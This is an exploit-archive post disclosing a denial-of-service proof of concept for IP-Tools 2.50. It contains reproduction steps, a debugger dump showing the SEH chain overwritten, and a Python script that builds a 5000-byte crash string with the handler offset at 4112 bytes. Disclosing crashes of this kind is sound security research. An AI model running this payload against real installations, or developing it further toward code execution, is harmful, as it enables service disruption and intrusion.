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IP-Tools 2.50 Denial Of Service

IP-Tools 2.50 Denial Of Service
Posted Jan 30, 2019
Authored by Rafael Pedrero

IP-Tools version 2.50 denial of service SEH overwrite proof of concept exploit.

tags | exploit, denial of service, proof of concept
MD5 | c16d7e82936663bab7dd19978c93e5f9

IP-Tools 2.50 Denial Of Service

Change Mirror Download
# Exploit Title: IP TOOLS v2.50 - Denial of Service (PoC) and SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2018-12-20
# Vendor Homepage: https://www.ks-soft.net/ip-tools.eng/index.htm
# Software Link : https://www.ks-soft.net/ip-tools.eng/index.htm / https://web.archive.org/web/20070322163021/http://hostmonitor.biz:80/download/ip-tools.exe
# Tested Version: 2.50
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run IP-Tools.exe
# 2.- Go to SNMP Scanner tab and copy content of IPTools_Crash.txt to clipboard
# 3.- Paste the content into the field: 'From Addr' and 'To Addr'
# 4.- Click 'Start' button and you will see a crash.


'''
SEH chain of main thread
Address SE handler
0012F4B4 43434343
42424242 *** CORRUPT ENTRY ***



EAX 0012F4CC
ECX 00000000
EDX 44444444
EBX 0012F4CC
ESP 0012E490
EBP 0012F4DC ASCII
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
ESI 0012E4A4 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDI 02256720 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EIP 00403F70 IP-TOOLS.00403F70
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDD000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0120 Cond 0 0 0 1 Err 0 0 1 0 0 0 0 0 (LT)
FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0
'''

#!/usr/bin/env python

junk = "\x41" * 4112
crash = junk + "BBBB" + "CCCC" + "D" * (5000 - len(junk) - 8)
f = open ("IPTools_Crash.txt", "w")
f.write(crash)
f.close()

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